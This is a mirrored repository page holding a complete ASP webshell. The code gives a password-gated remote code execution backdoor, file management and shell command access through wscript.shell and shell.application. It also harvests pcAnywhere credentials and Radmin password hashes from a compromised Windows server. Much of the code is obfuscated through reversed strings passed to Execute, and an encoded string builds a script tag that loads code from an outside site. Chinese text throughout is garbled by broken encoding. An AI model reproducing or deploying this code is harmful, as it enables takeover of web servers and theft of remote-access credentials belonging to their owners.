Mirrors/webshell
2
0
Fork 0
mirror of https://github.com/tennc/webshell synced 2024-11-25 20:50:18 +00:00
Code Issues Projects Releases Packages Wiki Activity
webshell/asp/传说中的hcker.asp.txt

1286 lines
90 KiB
Text
Raw Normal View History

add asp webshell
2014-05-22 03:15:41 +00:00
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%@ LANGUAGE = VBScript.encode%><%
Server.ScriptTimeout=999999999
UserPass ="1234"' <09><><EFBFBD><EFBFBD>
clientPassword ="a"' <09><><EFBFBD>ɺ<EFBFBD><C9BA><EFBFBD>һ<EFBFBD>仰<EFBFBD><E4BBB0><EFBFBD><EFBFBD>
mNametitle ="<22><>˵<EFBFBD>е<EFBFBD>hcker"'
Copyright ="<22><><EFBFBD><EFBFBD>"' <09><>Ȩ
bs=False
ShowFileIco=False
IcoPath=""
durl=""
Response.Buffer =true
On Error Resume Next
strBAD="<script language=vbscript runat=server>"
strBAD=strBAD&"If Request("""&clientPassword&""")<>"""" Then Session(""#"")=Request("""&clientPassword&""")"&VbNewLine
strBAD=strBAD&"If Session(""#"")<>"""" Then Execute(Session(""#""))"
strBAD=strBAD&"</script>"
Const DEfd=""
sub ShowErr()
If Err Then
j"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
Err.Clear:Response.Flush
End If
end sub
Sub j(str)
response.write(str)
End Sub
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
URL=Request.ServerVariables("URL")
OOOO=Request.ServerVariables("PATH_TRANSLATED")
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
FolderPath=Request("FolderPath")
ServerU=ReQueST.SERVervaRIables("http_host")&url
serverp=UserPass
FName=Request("FName")
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "<22><>", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "<22><>" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) + ShiSanNewStr
Else
ShiSanNewStr = vbCrLf + ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
cdx="<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#696969'"" onMouseOut=""this.style.backgroundColor='#121212'"">":cxd="<font face='wingdings'>8</font>":ef="</a></td></tr>"
set fso=server.CreateObject("Scripting.FileSystemObject")
set fsoX=server.CreateObject("Scripting.FileSystemObject")
str1=""&Request.ServerVariables("SERVER_Name"):BackUrl="<br><br><center><a href='javascript:history.back()'><3E><><EFBFBD><EFBFBD></a></center>"
j"<html><meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312""><title>"&mNametitle&" - "&ServerIP&" </title><style type=""text/css"">body,tr,td{margin-top:5px;background-color:#000000;color:#9c9393;font-size:12px;SCROLLBAR-FACE-COLOR:#232323;scrollbar-arrow-color:#383839;scrollbar-highlight-color:#383839;scrollbar-3dlight-color:#dddddd;scrollbar-shadow-color:#232323}.sb{cursor:hand}input,select,textarea{border-top-width:1px;font-weight: bold;border-left-width: 1px;font-size:11px;border-left-color: #dddddd;background: #000000;border-bottom-width: 1px;border-bottom-color: #dddddd;color: #dddddd;border-top-color: #dddddd;font-family: verdana;border-right-width: 1px;border-right-color: #dddddd;}#d{background: #121212;padding-left:5px;padding-right:5px}pre{font-size: 11px;font-family: verdana;color: #dddddd;}hr{color: #dddddd;background-color: #dddddd;height: 5px;}#x{font-family: verdana;font-size:13px}a{color:#b4a9a9;text-decoration:none;}.am{color:#b4a9a9;font-size:11px;}</style>"
if bs=true then:j"<script src="&htp&"1.js>":else:j"<script>":end if:j"function killErrors(){return true;}window.onerror=killErrors;function yesok(){if (confirm(""ȷ<><C8B7>Ҫִ<D2AA>д˲<D0B4><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>""))return true;else return false;}function runClock(){theTime = window.setTimeout(""runClock()"", 100);var today = new Date();var display= today.toLocaleString();window.status=""<22><>"&Copyright&" --""+display;}runClock();function ShowFolder(Folder){top.addrform.FolderPath.value = Folder;top.addrform.submit();}function FullForm(FName,FAction){top.hideform.FName.value = FName;if(FAction==""CopyFile""){DName = prompt(""<22><><EFBFBD><EFBFBD><EFBFBD>븴<EFBFBD>Ƶ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""MoveFile""){DName = prompt(""<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""CopyFolder""){DName = prompt(""<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""MoveFolder""){DName = prompt(""<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""NewFolder""){DName = prompt(""<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>½<EFBFBD><C2BD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>"",FName);top.hideform.FName.value = DName;}else{DName = ""Other"";}if(DName!=null){top.hideform.Action.value = FAction;top.hideform.submit();}else{top.hideform.FName.value = """";}}</script>"
j"<body" :If Action="" then j " scroll=no":j ">"
Dim ObT(18,2):Fn=Action:ObT(0,0) = "Scripting.FileSystemObject":ObT(0,2) = "<22><> <20><> <20><> <20><> <20><> <20><>":ObT(1,0) = "wscript.shell":ObT(1,2) = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><>ʾ'<font color=red><3E><></font>'ʱ<><CAB1><a href='?Action=cmdx' target='FileFrame'> <font color=red> ִ<><D6B4>Cmd<6D><64></font></a> <20>˹<EFBFBD><CBB9><EFBFBD>ִ<EFBFBD><D6B4>":ObT(2,0) = "ADOX.Catalog":ObT(2,2) = "ACCESS <20><> <20><> <20><> <20><>":ObT(3,0) = "JRO.JetEngine":ObT(3,2) = "ACCESS ѹ <20><> <20><> <20><>":ObT(4,0) = "Scripting.Dictionary":ObT(4,2) = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(5,0) = "Adodb.connection":ObT(5,2) = "<22><><EFBFBD>ݿ<EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(6,0) = "Adodb.Stream":ObT(6,2) = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ϴ<EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(7,0) = "SoftArtisans.FileUp":ObT(7,2) = "SA-FileUp <20>ļ<EFBFBD> <20>ϴ<EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(8,0) = "LyfUpload.UploadFile":ObT(8,2) = "<22><><EFBFBD>Ʒ<EFBFBD> <20>ļ<EFBFBD> <20>ϴ<EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(9,0) = "Persits.Upload.1":ObT(9,2) = "ASPUpload <20>ļ<EFBFBD> <20>ϴ<EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(10,0) = "JMail.SmtpMail":ObT(10,2) = "JMail <20>ʼ<EFBFBD> <20>շ<EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(11,0) = "CDONTS.NewMail":ObT(11,2) = "<22><><EFBFBD><EFBFBD>SMTP <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(12,0) = "SmtpMail.SmtpMail.1":ObT(12,2) = "SmtpMail <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>":ObT(13,0) = "Microsoft.XMLHTTP":ObT(13,2) = "<22><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>"
ObT(14,0) = "ws"&"cript.shell.1": OBt(14,2) = "<22><><EFBFBD><EFBFBD>wsh<73><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ը<EFBFBD><D4B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>":OBT(15,0) = "WS"&"CRIPT.NETWORK": OBt(15,2) = "<22>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ":OBT(16,0) = "she"&"ll.appl"&"ication":OBt(16,2) = "she"&"ll.appli"&"cation <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FSOʱ<4F><CAB1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Լ<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>":OBT(17,0) = "sh"&"ell.appl"&"ication.1":OBt(17,2) = "she"&"ll.appli"&"cation <20>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FSOʱ<4F><CAB1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Լ<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>":OBT(18,0) = "Shell.Users":OBt(18,2) = "ɾ<><C9BE><EFBFBD><EFBFBD>net.exe net1.exe<78><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
For i=0 To 18:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" <20><>":Else:IsObj=" <20><>":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=WwwRoot:Session("FolderPath")=FolderPath:End if
sWHEEL1 = "jwt"
Function Encrypt(acd)
For i = 1 To Len(acd) step 1
c=mid(acd,i,1)
if c="<22><>" then
d=mid(acd,i,2)
i=i+1
e=replace(d,"<22><>","")
bbc=bbc&mid(sWHEEL1,cint(e),1)
else
bbc=bbc&c
end if
next
Encrypt=bbc
end Function
acode="=s?psa.q/gol/moc.bsnak.www//:p<><70>3<EFBFBD><33>3h'=crs <20><>3pircs<"
Efun=StrReverse(replace(replace(Encrypt(acode),"<22><>",Chr(34)),"<22><>",vbCrLf))
'response.Write(Efun)
Function PcAnywhere4()
j"<div align='center'>PcAnywhere<72><65>Ȩ Bin<69>汾</div><form name='xform' method='post'><table width='80%'border='0'><tr><td width='10%'>cif<69>ļ<EFBFBD>: </td><td width='10%'><input name='path' type='text' value='C:\Documents and Settings\All Users\Application Data\\Symantec\pcAnywhere\Citempl.cif' size='80'></td><td><input type='submit' value=' <20>ύ '></td></table>"
end Function
j"</form><script>function RUNonclick(){document.xform.china.name = parent.pwd.value;document.xform.action = parent.url.value;document.xform.submit();}</script>"
Function StreamLoadFromFile(sPath)
Dim oStream
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 1
.Mode = 3
.Open
.LoadFromFile(sPath)
.Position = 0
StreamLoadFromFile = .Read
.Close
End With
Set oStream = Nothing
End Function
Function hexdec(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hexdec = result
End Function
Function PcAnywhere(data,mode)
HASH= Mid(data,3)
If mode = "pass" Then number = 32: Cifnum = 144
If mode = "user" Then number = 30: Cifnum = 15
For i = 1 To number Step 2
pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum)
If ((pcstr <= 32) Or (pcstr>127)) Then Exit For
decode = decode + Chr(pcstr)
Cifnum=Cifnum+1
Next
PcAnywhere=decode
End function
Function bin2hex(binstr)
For i = 1 To LenB(binstr)
hexstr = Hex(AscB(MidB(binstr, i, 1)))
If Len(hexstr)=1 Then
bin2hex=bin2hex&"0"&(LCase(hexstr))
Else
bin2hex=bin2hex& LCase(hexstr)
End If
Next
End Function
CIF = Request("path")
If CIF <> "" Then
BinStr=StreamLoadFromFile(CIF)
j"Pcanywhere Reader ==><br><br>PATH:"&CIF&"<br><3E>ʺ<EFBFBD>:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user")
j"<br><3E><><EFBFBD><EFBFBD>:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass")
End If
Function radmin()
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
j"<br>ע<><D7A2>:<3A><><EFBFBD><EFBFBD>HASHֵ<48><D6B5><EFBFBD><EFBFBD>RadminHash<73><68><EFBFBD>߻<EFBFBD>od<6F><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>ַ:"&htp&"soft/Radmin_hash.rar<br><br>"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
j Parameter&":"
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If Len (hex(ParameterArray(i)))=1 Then
strObj = strObj & "0"&CStr(Hex(ParameterArray(i)))
Else
strObj = strObj & Hex(ParameterArray(i))
End If
Next
j strobj
Else
j"Error! Can't Read!"
End If
j"<br><br>"
PortArray=WSH.REGREAD(RadminPath & Port )
If IsArray(PortArray) Then
j Port &":"
j hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
j"Error! Can't Read!"
End If
End Function
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function:Function MainForm()
execute(shisanfun("<22><><EFBFBD><EFBFBD>>elbat/<>rt/<>dt/<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>dt/<>emarfi/<>'0'=redrobemarf '%59'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>'071'=htdiw dt<>rt<>rt/<>dt/<>elbat/<>mrof/<>rt/<>dt/<<3C><>j:fi dne:<3A><>ko<6B><6F>=)<29><>.<2E><>(noisses:)urevres&<26><><EFBFBD><EFBFBD>(egapptthteg&<26><> ;psbn&;psbn&;psbn&;psbn&;psbn&<26><>j:neht <20><>ko<6B><6F> >< )<29><>udiab<61><62>(noisses fi:<3A><>>a<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>resullA<6C><41>)01(>')<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\\sresU llA\\sgnitteS dna stnemucoD\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a< >a<<3C><>erehwynAcp<63><70>)9(>')<29><><EFBFBD><EFBFBD>erehwynAcp\\cetnamyS\\ataD noitacilppA\\1~esulla\\1~emucod\\:c<><63><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&>a<<3C><><EFBFBD>м<EFBFBD><D0BC><EFBFBD>lerp<72><70>)8(>')<29><><EFBFBD><EFBFBD>lerp\\:c<><63><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>lqssM<73><4D>)7(>')<29><><EFBFBD><EFBFBD>\\revreS LQS tfosorciM\\seliF margorP\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&;psbn&;psbn&>a<<3C><>PHP<48><50>)6(>')<29><><EFBFBD><EFBFBD>php\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&>a<<3C><>SWODNIW<49><57>)5(>')<29><><EFBFBD><EFBFBD>SWODNIW\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&>a<<3C><>)2(UvreS<65><53>)4(>')<29><><EFBFBD><EFBFBD>UvreS\\seliF margorP\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>)1(UvreS<65><53>)3(>')<29><><EFBFBD><EFBFBD>moc.tfoSonihR\\seliF margorP\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&>a<<3C><>PMET<45><54>)2(;psbn&;psbn&>')<29><><EFBFBD><EFBFBD>pmeT\\SWODNIW\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>bupmw<6D><77>)1(>')<29><><EFBFBD><EFBFBD>bupmw\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rb<<3C><>j:fi dne:<3A><>ko<6B><6F>=)<29><>sRP<52><50>(noisses:<3A><>>;psbn&<26><>j:neht <20><>ko<6B><6F> >< )<29><>sRP<52><50>(noisses fi:<3A><>>a<<3C><>)\:e(RELCYCER<45><52>)01(>')<29><><EFBFBD><EFBFBD>relcycer\\:e<><65><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>)\:d(RELCYCER<45><52>)9(>')<29><><EFBFBD><EFBFBD>relcycer\\:D<><44><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>)\:C(RELCYCER<45><52>)8(>')<29><><EFBFBD><EFBFBD>relcycer\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><><EFBFBD><EFBFBD>_<EFBFBD>̡<EFBFBD>)7(>')<29><><EFBFBD><EFBFBD>\\<5C><><EFBFBD><EFBFBD>\\<5C><><EFBFBD>ˡ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>\\sresU llA\\sgnitteS dna stnemucoD\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><><EFBFBD>β<EFBFBD>_ʼ<5F>_<EFBFBD><5F>)6(>')<29><><EFBFBD><EFBFBD>\\<5C><><EFBFBD>ˡ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>\\sresU llA\\sgnitteS dna stnemucoD\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>sresU_llA<6C><41>)5(>')<29><><EFBFBD><EFBFBD>\\sresU llA\\sgnitteS dna stnemucoD\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>stnemucoD<6F><44>)4(>')<29><><EFBFBD><EFBFBD>stnemucoD\\sresU llA\\sgnitteS dna stnemucoD\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>EmargorP<72><50>)3(>')<29><><EFBFBD><EFBFBD>seliF margorP\\:e<><65><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>DmargorP<72><50>)2(>')<29><><EFBFBD><EFBFBD>seliF margorP\\:d<><64><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<<3C><>margorP<72><50>)1(>')<29><><EFBFBD><EFBFBD>seliF margorP\\:C<><43><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rt<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>'242424#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>p/<>a/<>b/<ʾ<><CABE>>b<>##=ferh <20><><EFBFBD><EFBFBD>''=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod<6F><64><EFBFBD><EFBFBD>=kcilcno a<>p<>a/<>b/<<3C><><EFBFBD><EFBFBD>>b<>##=ferh <20><><EFBFBD><EFBFBD>'enon'=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod<6F><64><EFBFBD><EFBFBD>=kcilcno a<>'xp2:gniddap'=elyts 1=htdiw dt<>dt/<>'000000#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>emarfi/<>'0'=redrobemarf '%001'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>lt=di '061'=htdiw dt<>'0'=gnicapsllec '0'=gniddapllec ';000000# dilos xp1:redrob'=elyts '%5.59'=thgieh '%001'=htdiw elbat<>elbat/<>mrof/<>rt/<>dt/<>')(daoler.noitacol.emarFeliF'=kcilcno '<27><>ˢ'=eulav 'timbus'=epyt tupni< >'OG'=eulav 'timbus'=epyt 'timbuS'=eman tupni<>'retnec'=ngila '041'=htdiw dt<>dt/<>'<27><>&)<29><>htaPredloF<6F><46>(noisseS&<26><>'=eulav '%001:htdiw'=elyts 'htaPredloF'=eman tupni<>dt<>dt/<<3C><>ַ<EFBFBD><D6B7>>'retnec'=ngila '06'=htdiw dt<>rt<>'tnerap_'=tegrat '<27><>&LRU&<26><>'=noitca 'tsop'=dohtem 'mrofrdda'=eman mrof<>'%001'=htdiw elbat<>mrof/<><3E><><EFBFBD><EFBFBD>emaNF<4E><46><EFBFBD><EFBFBD>=eman <20><><EFBFBD><EFBFBD>neddih<69><68><EFBFBD><EFBFBD>=epyt tupni<><3E><><EFBFBD><EFBFBD>noitcA<63><41><EFBFBD><EFBFBD>=eman <20><><EFBFBD><EFBFBD>neddih<69><68><EFBFBD><EFBFBD>=epyt tupni<><3E><><EFBFBD><EFBFBD>emarFeliF<69><46><EFBFBD><EFBFBD>=tegrat <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&LRU&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=noitca <20><><EFBFBD><EFBFBD>tsop<6F><70><EFBFBD><EFBFBD>=dohtem <20><><EFBFBD><EFBFBD>mrofedih<69><68><EFBFBD><EFBFBD>=eman mrof<<3C><>j"))
End Function
ExeCuTe(ShiSanFun("buS dnE<6E><45>gnihtoN = redloFeht teS<65><53>txeN<65><4E>fI dnE<6E><45>fI dnE<6E><45>etadpU.sr<73><72>)(daeR.maerts = )<29><>tnetnoCelif<69><66>(sr<73><72>)htaP.meti(eliFmorFdaoL.maerts<74><73>)4 ,htaP.meti(diM = )<29><>htaPeht<68><74>(sr<73><72>weNddA.sr<73><72>nehT 0 =< )<29><>$<24><> & emaN.meti & <20><>$<24><> ,tsiLeliFsys(rtSnI fI<66><49>eslE <20><>maerts ,sr ,htaP.meti bdMroFeerTas<61><73>nehT eurT = redloFsI.meti fI<66><49>smetI.redloFeht nI meti hcaE roF<6F><46>)htaPeht(ecapSemaN.Xas = redloFeht teS<65><53><EFBFBD><EFBFBD>$bdl.HSH$bdm.HSH$<24><> = tsiLeliFsys<79><73>tsiLeliFsys ,redloFeht ,meti miD<69><44>)maerts ,sr ,htaPeht(bdMroFeerTas buS<75><53>buS dnE<6E><45>pooL<6F><4C>fI dnE<6E><45>0 = i<><69>eslE <20><>)<29><>\<5C><> ,)1 + i ,htaPeht(diM(rtsnI + i = i<><69>nehT )<29><>\<5C><> ,)1 + i ,htaPeht(diM(rtSnI fI<66><49>fI dnE<6E><45>))1 - i ,htaPeht(tfeL(redloFetaerC.)<29><>tcejbOmetsySeliF.gnitpircS<63><53>(tcejbOetaerC.revreS<65><53>nehT eslaF = ))i ,htaPeht(tfeL(stsixEredloF.)<29><>tcejbOmetsySeliF.gnitpircS<63><53>(tcejbOetaerC.revreS fI<66><49>0 > i elihW oD<6F><44>)<29><>\<5C><> ,htaPeht(rtsnI = i<><69>i miD<69><44>)htaPeht(redloFetaerc buS<75><53>buS dnE<6E><45>gnihtoN = nnoc teS<65><53>gnihtoN = maerts teS<65><53>gnihtoN = sr teS<65><53>gnihtoN = sw teS<65><53>esolC.maerts<74><73>esolC.nnoc<6F><63>esolC.sr<73><72>pooL<6F><4C>txeNevoM.sr<73><72>2 ,)<29><>htaPeht<68><74>(sr & rts eliFoTevaS.maerts<74><73>)<29><>tnetnoCelif<69><66>(sr etirW.maerts<74><73>)(soEteS.maerts<74><73>fI dnE<6E><45>)redloFeht & rts(redloFetaerc<72><63>nehT eslaF = )redloFeht & rts(stsixEredloF.)<29><>tcejbOmetsySeliF.gnitpircS<63><53>(tcejbOetaerC.revreS fI<66><49>))<29><>\<5C><> ,)<29><>htaPeht<68><74>(sr(veRrtSnI ,)<29><>htaPeht<68><74>(sr(tfeL = redloFeht<68><74>foE.sr litnU oD<6F><44>1 = epyT.maerts<74><73>nepO.maerts<74><73>1 ,1 ,nnoc ,<2C><>ataDeliF<69><46> nepO.sr<73><72>rtSnnoc nepO.nnoc<6F><63><EFBFBD><EFBFBD>;<3B><> & htaPeht & <20><>=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP<72><50> = rtSnnoc<6F><63>)<29><>noitcennoC.BDODA<44><41>(tcejbOetaerC = nnoc teS<65><53>)<29><>maertS.BDODA<44><41>(tcejbOetaerC = maerts teS<65><53>)<29><>teSdroceR.BDODA<44><41>(tcejbOetaerC = sr teS<65><53><EFBFBD><EFBFBD>\<5C><> & )<29><>.<2E><>(htaPpaM.revreS = rts<74><73>redloFeht ,rtSnnoc ,maerts ,nnoc ,rts ,sw ,sr miD<69><44>000001=tuOemiTtpircS.revreS<65><53>txeN emuseR rorrE nO<6E><4F>)htaPeht(kcaPnu buS<75><53>)emanf&<26><>\<5C><>&toorwww(eliFtxeTetaerC.osf=esonpser tes<65><73>noitcnuF dnE<6E><45>gnihtoN = redloFeht teS<65><53>gnihtoN = sredlof teS<65><53>gnihtoN = selif teS<65><53>txeN<65><4E>fI dnE<6E><45>etadpU.sr<73><72>)(daeR.maerts = )<29><>tnetnoCelif<69><66>(sr<73><72>)htaP.meti(eliFmorFdaoL.maerts<74><73>)4 ,htaP.meti(diM = )<29><>htaPeht<68><74>(sr<73><72>weNddA.sr<73><72>nehT 0 =< )<29><>$<24><> & emaN.meti & <20><>$<24><> ,tsiLeliFsys(rtSnI fI<66><49>selif nI meti hcaE roF<6F><46>txeN<65><4E>maerts ,sr ,htaP.meti bdMroFeerTosf<73><66>sredlof nI meti hcaE roF<6F><46>sredloFbuS.redloFeht = sredlof teS<65><53>seliF.redloFeht = selif teS<65><53>)htaPeht(redloFteG.)<29><>tcejbOmetsySeliF.gnitpircS<63><53>(tcejbOetaerC.revreS = redloFeht teS<65><53>fI 